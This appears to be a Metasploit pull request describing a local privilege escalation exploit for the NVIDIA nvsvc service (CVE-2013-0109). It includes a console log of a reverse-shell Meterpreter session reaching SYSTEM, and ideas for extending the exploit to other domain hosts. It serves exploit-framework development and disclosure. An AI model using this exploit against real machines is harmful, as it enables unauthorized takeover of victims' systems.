[FixRM:#7654] Exploits CVE-2013-0109 NVidia nvsvc Local Privilege Escalation

@mubix

I'm not 100% sure its the correct CVE number, I think it is, but isn't linked up well with OSVDB number etc.

Similar implementation technique taken to the ppr_flatten technique - dump ready made C into a dll. Again instead of loading the exploit into the current session we elect to run it in a child process. We make sure the new process is 32bit WOW64 as I have only compiled an x86 dll...

I have added a method to the Services post mixin to retrieve the current service status.

If one wished to be clever they could modify this exploit further to target other machines on a domain if the user can authenticate and the firewall doesn't interfere. It could probably also be made as a remote exploit that pivots through a meterpreter session locally (for priv esc) or to an un-firewalled host - that seemed like a lot of work though.

I have only tested this against Win7 x64 on the December revision of the exe.

```
msf exploit(nvidia_nvsvc) > check

[+] Found service 'NVIDIA Display Driver Service'
[+] Service is running
[*] The target service is running, but could not be validated.
msf exploit(nvidia_nvsvc) > exploit

[*] Started reverse handler on 192.168.1.111:4444 
[+] Service is running
[*] Injecting payload into memory
[*] Executing exploit...
[*] Sending stage (951296 bytes) to 192.168.1.110
[*] Meterpreter session 3 opened (192.168.1.111:4444 -> 192.168.1.110:49983) at 2013-07-05 22:51:48 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : blah
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Meterpreter     : x64/win64
```